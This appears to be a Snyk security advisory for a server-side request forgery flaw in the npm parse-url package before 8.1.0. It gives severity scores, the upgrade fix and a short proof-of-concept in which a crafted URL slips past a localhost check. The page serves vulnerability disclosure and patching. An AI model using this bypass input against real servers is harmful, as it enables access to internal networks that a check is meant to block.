Server-side Request Forgery (SSRF) Affecting parse-url package, versions <8.1.0


0.0
medium

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity Low
Expand this section
NVD
9.1 critical

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  • Snyk ID SNYK-JS-PARSEURL-3023021
  • published 14 Sep 2022
  • disclosed 14 Sep 2022
  • credit ranjit-git

How to fix?

Upgrade parse-url to version 8.1.0 or higher.

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper detection of protocol, resource, and pathname fields. Exploiting this vulnerability results in bypassing protocol verification.

PoC:

import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }